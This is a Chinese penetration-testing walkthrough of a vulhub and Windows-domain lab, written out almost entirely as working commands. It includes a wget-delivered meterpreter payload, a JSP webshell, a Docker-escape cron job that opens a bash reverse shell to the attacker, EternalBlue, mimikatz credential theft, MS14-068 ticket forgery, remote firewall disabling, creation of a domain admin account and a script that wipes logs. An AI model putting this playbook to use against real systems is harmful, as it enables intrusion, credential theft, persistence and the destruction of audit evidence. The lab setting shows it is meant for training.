環境
僅主機模式內網網段192.168.183.0/24
外網網段192.168.157.0/24
其中Ubuntu作為對外的內網機器
攻擊機kali地址:192.168.157.129 懸劍:192.168.157.130
還需要進入ubuntu開啟服務,密碼ubuntu
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045v
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613 sudo docker-compose up -d
信息收集
nmap -sS 192.168.157.0/24 nmap -sV -A 192.168.157.128
可以看到2001、2002、2003分別對應jetty、tomcat、apache中間件
從2001端口開始吧
Ubuntu Getshell
2001Struts2
web界面是這樣的,標題提示了是struts2的框架
嘗試了一下上傳一句話木馬,上傳成功了但是無路徑回顯無法利用
直接上struts2掃描工具
看到存在漏洞S2-045、S2-046,查了一下是命令執行漏洞,驗證一下
接着使用wget上傳木馬getshell
kali開啟apache服務
service apache2 start
制作msf木馬,放在var/www/html下
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.129 LPORT=4444 -f elf > shell.elf
遠程執行命令
wget http://192.168.157.129/shell.elf
可以看到木馬已經上傳上去
接着chmod +x shell.elf添加一個執行權限 然后./shell.elf運行就行了
2002tomcat
Tomcat 8.5.19版本,查詢了一下,存在CVE-2017-12615任意寫入文件漏洞,漏洞本質是Tomcat配置文件/conf/web.xml 配置了可寫(readonly=false),導致我們可以往服務器寫文件。
抓個包,修改一下數據包改成put,寫入木馬(因為是tomcat,所以用jsp后門)
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
蟻劍連接
同樣可以反彈msf shell就不演示了
2003phpMyAdmin
連密碼都不用就直接進去了,那就查看一下版本號看看存在什么漏洞
4.8.1遠程文件包含漏洞(CVE-2018-12613)
驗證一下是否存在,接下來就寫入一句話然后文件包含連接
http://192.168.157.128:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
但是試了一下就算知道了絕對路徑也無法文件包含數據庫內的一句話,進去ubuntu看了一下也根本沒有這個路徑,十分奇怪
后來看到網上的poc,還可以使用session包含,測試一下
http://192.168.157.128:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_a87f3b504810883a0db7aa69946f1988
這個原理就是包含緩存文件,接着就寫入一句話
但寫了一句話之后,蟻劍也連接不上,看了一下緩存文件的信息,發現一句話被序列化儲存了,沒辦法利用
絕對路徑也沒法使用,這里只能放棄這個方法getshell了
docker逃逸
拿到shell之后首先要做的就是看看是否存在內網,掃描一下是否存在其他網段
但是明明是root用戶ifconfig的命令卻用不了,加上之前phpmyadmin的路徑問題,讓我懷疑我是不是在虛擬機的容器里
果然還是沒有這么簡單,現在要離開這個容器,由於之前沒有接觸過容器,急忙惡補了容器的知識初識Docker逃逸 - FreeBuf網絡安全行業門戶
這里我嘗試采用了目錄掛載逃逸
查看磁盤文件:
fdisk -l
從返回結果來看sda1、sda2、sda5在/dev目錄下。
新建一個目錄/test,然后將/dev/sda1掛載到新建的目錄下
mkdir /test
mount /dev/sda1 /test
可以看到現在可以通過訪問docker容器內部掛載整個宿主機本地文件的/test,來實現訪問整個宿主機的目的。
在計划任務里寫入一個bash反彈shell的腳本:
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.129/9999 0>&1" >> /test/tmp/shell.sh chmod +x /test/tmp/shell.sh cat /test/tmp/shell.sh
寫入crontab計划任務,表示每隔兩分鍾以root權限執行一次計划
echo '*/2 * * * * root bash /tmp/shell.sh' > /test/etc/crontab
cat /test/etc/crontab查看是否寫入成功
kali nc監聽
nc -lvp 9999
成功!
內網穿越
反彈個shell給msf
run get_local_subnets run autoroute -s 192.168.183.0/24 run autoroute -p
添加內網路由
use auxiliary/server/socks_proxy
設置一下代理
打開proxychains4配置端口
vi /etc/proxychains4.conf
現在可以通過proxychains4實現內網訪問
內網信息收集
use auxiliary/scanner/smb/smb_version set rhosts 192.168.183.0/24 set threads 100
192.168.183.129 windows7
192.168.183.130 windows 2008
屬於DEMO域
與此同時nmap的掃描也掃出來這兩個ip
proxychains nmap -Pn -sT 192.168.183.0/24
端口掃描一些看看具體開放了哪些端口
use auxiliary/scanner/portscan/tcp set rhosts 192.168.183.129-130
大概開放了這些,引人注目的就是445端口了,直接掃一下永恆之藍
use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.183.129-130
顯示兩個都易受到永恆之藍攻擊
payload要設置為正向
use exploit/windows/smb/ms17_010_eternalblue set rhosts 192.168.183.129 set payload windows/x64/meterpreter/bind_tcp
win7直接拿下,但是win2008被打的藍屏重啟,不能用
繼續信息收集一下,看看有沒有別的遺漏
亂碼問題輸入chcp 65001
ipconfig net view /domain net time /domain net user /domain net group /domain net group "domain computers" /domain net group "domain controllers" /domain
net group "domain admins" /domain net group "Enterprise Admins" /domain
但是無法進一步收集域內的信息了
load kiwi看看能不能抓取到密碼
load kiwi
creds_all
一個域內用戶douser和密碼
只能通過遠程桌面連接看看能不能收集到什么信息了
添加一個管理員用戶,准備遠程桌面
net user lry Admin111 /add
net localgroup administrators lry /add
開啟3389端口
run post/windows/manage/enable_rdp
通過代理連接遠程桌面
proxychains rdesktop 192.168.183.129
試了一下域內的用戶登陸不上去
用了剛剛建立的管理員賬戶登陸上去也無濟於事,后來突然意識到msf有個令牌竊取的功能Metasploit用法詳解 - 1_Ry - 博客園 (cnblogs.com)
load incognito list_tokens -u impersonate_token DEMO\\douser \\注意要加兩個斜杠
現在就可以進行域內的信息收集了
Domain controllers:
WIN-ENS2VR5TR3N
域名:demo.com
域管賬戶:Administrator
橫向移動
現在獲取了win7的權限,但是2008的密碼抓不到,win7也沒有權限訪問,查找了一下之前的筆記,不需要用到管理員權限的橫向只能試試MS14-068了內網安全:域內橫向移動 - 1_Ry - 博客園 (cnblogs.com)
查看SID
whoami /user
S-1-5-21-979886063-1111900045-1414766810-1107
域內用戶douser和密碼Dotest123
本來想上傳上去,但發現里面有ms14-068和mimikatz.exe
使用ms14-068.exe生成票據
ms14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
清除票據
klist purge \\清除
klist \\查看
使用mimikatz導入票據
mimikatz.exe "kerberos::ptc C:\Users\douser\Desktop\TGT_douser@demo.com.ccache"
成功,這里dir不能用ip只能用主機名
連接成功后先用sc創建任務把防火牆遠程關掉
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
接下來上傳一個msf正向木馬到win7再到域控
msfvenom -p windows/x64/meterpreter/bind_tcp -f exe > shell.exe
創建計划任務的時候顯示權限不足,那就繼續用sc創建任務
schtasks /create /s 192.168.183.130 /tn test /sc onstart /tr c:\calc.bat /ru system /f
sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\shell.exe" sc \\WIN-ENS2VR5TR3N start Startup
正向監聽getshell
權限維持
獲取的shell很不穩定,快速收集信息進行權限維持
kiwi獲取密碼
或者
添加一個域管理員用戶
net user lry Admin111 /add
net group "domain admins" lry /add
開啟3389端口
run post/windows/manage/enable_rdp
使用lry管理員登陸了上去
proxychains rdesktop 192.168.183.130
上傳一個mimikatz到域控
privilege::debug
lsadump::lsa /patch
獲取到域的SID和krbtgt的NTML后就可以制作黃金票據了
黃金票據、白銀票據 - 1_Ry - 博客園 (cnblogs.com)具體就不制作了,現在只要域管理員不改krbtgt密碼,我們就可以以域內普通用戶的身份訪問域控
痕跡清理
Linux
清除命令歷史記錄
histroy -r #刪除當前會話歷史記錄
history -c #刪除內存中的所有命令歷史
rm .bash_history #刪除歷史文件中的內容
HISTZISE=0 #通過設置歷史命令條數來清除所有歷史記錄
在隱蔽的位置執行命令
使用vim打開文件執行命令
:set history=0
:!command
linux日志文件
/var/run/utmp 記錄現在登入的用戶
/var/log/wtmp 記錄用戶所有的登入和登出
/var/log/lastlog 記錄每一個用戶最后登入時間
/var/log/btmp 記錄錯誤的登入嘗試
/var/log/auth.log 需要身份確認的操作
/var/log/secure 記錄安全相關的日志信息
/var/log/maillog 記錄郵件相關的日志信息
/var/log/message 記錄系統啟動后的信息和錯誤日志
/var/log/cron 記錄定時任務相關的日志信息
/var/log/spooler 記錄UUCP和news設備相關的日志信息
/var/log/boot.log 記錄守護進程啟動和停止相關的日志消息
完全刪除日志文件:
cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
針對性刪除日志文件:
刪除當天日志
sed -i '/當天日期/'d filename
一鍵清除腳本:
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
windows
msf
1.查看事件日志
run event_manager -i
2.刪除事件日志
run event_manager -c
3.clearv命令清除目標系統的事件日志。
4、還需要手動刪除剛剛上傳的后門